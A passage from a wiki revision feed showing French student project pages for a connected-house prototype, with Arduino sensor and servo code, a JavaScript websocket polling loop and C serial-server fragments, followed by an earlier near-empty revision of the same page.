     // initialize digital pin LED_BUILTIN as an output.&lt;br /&gt;
     pinMode(2, OUTPUT);&lt;br /&gt;
   }&lt;br /&gt;
   // the loop function runs over and over again forever&lt;br /&gt;
   void loop() {&lt;br /&gt;
     digitalWrite(2, HIGH);   // turn the LED on (HIGH is the voltage level)&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
     digitalWrite(2, LOW);    // turn the LED off by making the voltage LOW&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.&lt;br /&gt;
      //TMP36 Pin Variables&lt;br /&gt;
    int sensorPin = 0;         // the analog pin the TMP36's Vout (sense) pin is connected to&lt;br /&gt;
                                          // the resolution is 10 mV / degree centigrade with a&lt;br /&gt;
                                          // 500 mV offset to allow for negative temperatures&lt;br /&gt;
   void loop()                    // run over and over again&lt;br /&gt;
   {&lt;br /&gt;
    //getting the voltage reading from the temperature sensor&lt;br /&gt;
    int reading = analogRead(sensorPin);  &lt;br /&gt;
    // converting that reading to voltage, for 3.3v arduino use 3.3&lt;br /&gt;
    float voltage = reading * 5.0;&lt;br /&gt;
    voltage /= 1024.0; &lt;br /&gt;
    // print out the voltage&lt;br /&gt;
    Serial.print(voltage); Serial.println(&amp;quot; volts&amp;quot;);&lt;br /&gt;
    // now print out the temperature&lt;br /&gt;
    float temperatureC = (voltage - 0.5) * 100 ;  //converting from 10 mv per degree wit 500 mV offset&lt;br /&gt;
                                                                         //to degrees ((voltage - 500mV) times 100)&lt;br /&gt;
    Serial.print(temperatureC); Serial.println(&amp;quot; degrees C&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.&lt;br /&gt;
&lt;br /&gt;
   // Fonction setup(), appelée au démarrage de la carte Arduino&lt;br /&gt;
   void setup() {&lt;br /&gt;
     // Initialise la communication avec le PC&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
   }&lt;br /&gt;
   // Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée&lt;br /&gt;
   void loop() {&lt;br /&gt;
     // Mesure la tension sur la broche A0&lt;br /&gt;
     int valeur = analogRead(A0);&lt;br /&gt;
     // Envoi la mesure au PC pour affichage et attends 250ms&lt;br /&gt;
     Serial.println(valeur);&lt;br /&gt;
     delay(250);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.&lt;br /&gt;
&lt;br /&gt;
* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.&lt;br /&gt;
&lt;br /&gt;
   int periode=20000;// période entre chaque début d'impulsion en microsecondes&lt;br /&gt;
   int pinServo=8; // variable pour le pin connecté à la commande du servo&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT&lt;br /&gt;
     digitalWrite(pinServo,LOW); // on l'initialise à l'état bas&lt;br /&gt;
   }&lt;br /&gt;
   //boucle principale&lt;br /&gt;
   void loop() {&lt;br /&gt;
     for (int angle=0;angle&amp;lt;=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°&lt;br /&gt;
       setAngle(angle);// on appelle la fonction setAngle définie plus bas&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   //fonction setAngle pour envoyer les impulsions&lt;br /&gt;
   void setAngle(int a){&lt;br /&gt;
     int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree&lt;br /&gt;
     digitalWrite(pinServo,LOW);//on met le pin à l'état bas&lt;br /&gt;
     // la boucle qui suit est nécessaire &lt;br /&gt;
     // pour laisser le temps au servo d'aller à sa position&lt;br /&gt;
     for (int t=0;t&amp;lt;300;t++){ &lt;br /&gt;
       digitalWrite(pinServo,HIGH);// on envoie l'impulsion&lt;br /&gt;
       delayMicroseconds(duree); // pendant la bonne durée&lt;br /&gt;
       digitalWrite(pinServo,LOW); // on stoppe l'impulsion&lt;br /&gt;
       delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
   Entrée : Tension continue de 4.5 à 20V , courant 65mA&lt;br /&gt;
   Sortie : High 3.3 V / Low 0V (Détection ou non)&lt;br /&gt;
   Angle : &amp;lt;100 °&lt;br /&gt;
   Dimension : 32 mm * 24 mm&lt;br /&gt;
   Délai : de 5 à 200 secondes (ajustable)&lt;br /&gt;
   Portée : de 3 à 7 mètres (ajustable).&lt;br /&gt;
   Au repos : 50 uA&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.&lt;br /&gt;
On branche donc :&lt;br /&gt;
&lt;br /&gt;
Le VCC du PIR  sur le 5V de l’arduino&lt;br /&gt;
Le GRD du PIR sur le GRD de l’arduino&lt;br /&gt;
La dernière branche sur le pin 2 de l’arduino&lt;br /&gt;
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:montagePIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.&lt;br /&gt;
&lt;br /&gt;
   //the time we give the sensor to calibrate (10-60 secs according to the datasheet)&lt;br /&gt;
   int calibrationTime = 30;&lt;br /&gt;
   int ledPin = 13;                // choose the pin for the LED&lt;br /&gt;
   int inputPin = 2;               // choose the input pin (for PIR sensor)&lt;br /&gt;
   int pirState = LOW;             // we start, assuming no motion detected&lt;br /&gt;
   int val = 0;                    // variable for reading the pin status&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(ledPin, OUTPUT);      // declare LED as output&lt;br /&gt;
     pinMode(inputPin, INPUT);     // declare sensor as input&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
     Serial.print(&amp;quot;calibrating sensor &amp;quot;);&lt;br /&gt;
     for(int i = 0; i &amp;lt; calibrationTime; i++){&lt;br /&gt;
       Serial.print(&amp;quot;.&amp;quot;);&lt;br /&gt;
       delay(1000);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   void loop(){&lt;br /&gt;
     val = digitalRead(inputPin);  // read input value&lt;br /&gt;
     Serial.println(val);&lt;br /&gt;
     if (val == HIGH) { // check if the input is HIGH&lt;br /&gt;
       digitalWrite(ledPin, HIGH);  // turn LED ON&lt;br /&gt;
       delay(150);&lt;br /&gt;
       if (pirState == LOW) {&lt;br /&gt;
         // we have just turned on&lt;br /&gt;
         Serial.println(&amp;quot;Motion detected!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = HIGH;&lt;br /&gt;
       }&lt;br /&gt;
     } else {&lt;br /&gt;
       digitalWrite(ledPin, LOW); // turn LED OFF&lt;br /&gt;
       delay(300);&lt;br /&gt;
       if (pirState == HIGH){&lt;br /&gt;
         // we have just turned of&lt;br /&gt;
         Serial.println(&amp;quot;Motion ended!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = LOW;&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:moniteurseriepir.jpg]]&lt;br /&gt;
&lt;br /&gt;
* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:decoupagelaser.jpg]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:maquettemonte.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Prise en main de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prise en main CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
prog de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prog CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
== Séances supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Montage de la maquette avec les différents élements pour la présentation.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
==== Schéma de fonctionnement ====&lt;br /&gt;
&lt;br /&gt;
Afin de mettre en place le système, le schéma suivi sera le suivant :&lt;br /&gt;
&lt;br /&gt;
1) Requête de la page WEB par l'envoi d'un caractère.&lt;br /&gt;
&lt;br /&gt;
2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.&lt;br /&gt;
&lt;br /&gt;
3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.&lt;br /&gt;
&lt;br /&gt;
4) Réception de la réponse de l'Arduino par le programme C.&lt;br /&gt;
&lt;br /&gt;
5) Transmission de la réponse à la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Page WEB ====&lt;br /&gt;
&lt;br /&gt;
La page web va émettre des requêtes pour chacune des données :&lt;br /&gt;
   -1 pour afficher la valeur du potentiomètre&lt;br /&gt;
   -2 pour afficher la valeur de capteur de luminosité&lt;br /&gt;
   -3 pour afficher la valeur de capteur de température&lt;br /&gt;
   -4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
   -5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
&lt;br /&gt;
Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :&lt;br /&gt;
&lt;br /&gt;
1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)&lt;br /&gt;
&lt;br /&gt;
2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)&lt;br /&gt;
	&lt;br /&gt;
&lt;br /&gt;
   function autoSend0(){&lt;br /&gt;
   websocket.send('0');&lt;br /&gt;
   setTimeout('autoSend1();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend1(){&lt;br /&gt;
   websocket.send('1');&lt;br /&gt;
   setTimeout('autoSend2();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend2(){&lt;br /&gt;
   websocket.send('2');&lt;br /&gt;
   setTimeout('autoSend3();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend3(){&lt;br /&gt;
   websocket.send('3');&lt;br /&gt;
   setTimeout('autoSend4();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend4(){&lt;br /&gt;
   websocket.send('4');&lt;br /&gt;
   }&lt;br /&gt;
   setInterval(autoSend0, 1000);&lt;br /&gt;
   &lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
La requête est lancée en websocket grâce à la commande &amp;quot;websocket.send('x')&amp;quot;, x étant la caractère à envoyer.&lt;br /&gt;
&lt;br /&gt;
Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.&lt;br /&gt;
&lt;br /&gt;
Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi&lt;br /&gt;
&lt;br /&gt;
i représente le numéro de l'instruction&lt;br /&gt;
&lt;br /&gt;
xxxx représente les données correspondant à l'instruction&lt;br /&gt;
&lt;br /&gt;
De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie Arduino ====&lt;br /&gt;
&lt;br /&gt;
Le programme de l'arduino est divisé en deux grandes parties :&lt;br /&gt;
&lt;br /&gt;
Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.&lt;br /&gt;
&lt;br /&gt;
On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    if (temperature &amp;lt; 27)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, HIGH);&lt;br /&gt;
      ledstate2=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, LOW);&lt;br /&gt;
      ledstate2=0;&lt;br /&gt;
    }&lt;br /&gt;
    if (analogRead(A1) &amp;lt; 300)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, HIGH);&lt;br /&gt;
      ledstate1=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, LOW);&lt;br /&gt;
      ledstate1=0;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.&lt;br /&gt;
&lt;br /&gt;
Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.&lt;br /&gt;
&lt;br /&gt;
Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise la formule :&lt;br /&gt;
&lt;br /&gt;
    n = (log10(sensorValue) + 1)&lt;br /&gt;
&lt;br /&gt;
avec n la longueur de sensorValue.&lt;br /&gt;
&lt;br /&gt;
    int sensorValue = analogRead(A0);&lt;br /&gt;
    int n = (log10(sensorValue) + 1);  // nombre de chiffres composant le nombre&lt;br /&gt;
    itoa(n, lengh, 10);&lt;br /&gt;
    itoa(sensorValue, value, 10);&lt;br /&gt;
    strcat(lengh,value);&lt;br /&gt;
    Serial.println(lengh);&lt;br /&gt;
&lt;br /&gt;
La valeur finale transmise en série sera donc de la forme nxxxx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie serveur ====&lt;br /&gt;
&lt;br /&gt;
Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.&lt;br /&gt;
&lt;br /&gt;
Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :&lt;br /&gt;
&lt;br /&gt;
   case LWS_CALLBACK_RECEIVE:&lt;br /&gt;
      printf(&amp;quot;received data: %s\n&amp;quot;,(char *)in);&lt;br /&gt;
      message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);&lt;br /&gt;
    	&lt;br /&gt;
Un appel à la fonction serial_read est ensuite fait.&lt;br /&gt;
&lt;br /&gt;
Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction &amp;quot;rec&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   serial_read(&amp;amp;rec)&lt;br /&gt;
&lt;br /&gt;
Un envoi en série de l'instruction est ensuite fait :&lt;br /&gt;
&lt;br /&gt;
   if(write(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.write&amp;quot;); exit(-1); }&lt;br /&gt;
	&lt;br /&gt;
Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :&lt;br /&gt;
&lt;br /&gt;
   if(read(sd,&amp;amp;n,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
   n=n-48;&lt;br /&gt;
	&lt;br /&gt;
Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :&lt;br /&gt;
&lt;br /&gt;
   for (i=0;i&amp;lt;n;i++)&lt;br /&gt;
   {&lt;br /&gt;
      if(read(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
      value=value+(c-48)*pow(10,n-i-1);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.&lt;br /&gt;
&lt;br /&gt;
   sprintf (value, &amp;quot;%d&amp;quot;, (10*serial_read(&amp;amp;rec))+rec);&lt;br /&gt;
	&lt;br /&gt;
Le résultat final est envoyé en websocket.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=40604</id>
		<title>Projet IMA3 P2, 2016/2017, TD1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=40604"/>
				<updated>2017-03-21T07:50:06Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Le matériel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Maison connectée =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.&lt;br /&gt;
&lt;br /&gt;
* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...&lt;br /&gt;
&lt;br /&gt;
* Tout étant géré à la fois via une interface web et une application Android.  &lt;br /&gt;
&lt;br /&gt;
* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome. &lt;br /&gt;
&lt;br /&gt;
* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)&lt;br /&gt;
&lt;br /&gt;
=== Liste des fonctions à réaliser ===&lt;br /&gt;
* Mesure de la température (en °C) et de la luminosité (en lux).&lt;br /&gt;
&lt;br /&gt;
* Détection de mouvement pour l'éclairage et les intrusions.&lt;br /&gt;
&lt;br /&gt;
* Communication des informations sur une page web et une application Android.&lt;br /&gt;
&lt;br /&gt;
* Automatisation de la commande de chauffage et d'éclairage.&lt;br /&gt;
&lt;br /&gt;
* Automatisation des entrées et sorties de la maison (porte de garage..)&lt;br /&gt;
&lt;br /&gt;
* Prévision de la consommation&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
Pour mener à bien ce projet il nous faudra :&lt;br /&gt;
&lt;br /&gt;
* Raspberry PI3&lt;br /&gt;
&lt;br /&gt;
* Carte SD 8GB&lt;br /&gt;
&lt;br /&gt;
* Arduino Nano&lt;br /&gt;
&lt;br /&gt;
* Servo-moteur&lt;br /&gt;
&lt;br /&gt;
* Capteur de luminosité, capteur de température (pour Arduino)&lt;br /&gt;
&lt;br /&gt;
* 5 leds&lt;br /&gt;
&lt;br /&gt;
* Résistance chauffante 12 volts 14 watts&lt;br /&gt;
&lt;br /&gt;
* Transformateur 230V/12V&lt;br /&gt;
&lt;br /&gt;
* Relais 3.3V&lt;br /&gt;
&lt;br /&gt;
* Capteur PIR (Passive Infra-Rouge)&lt;br /&gt;
&lt;br /&gt;
* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	</feed>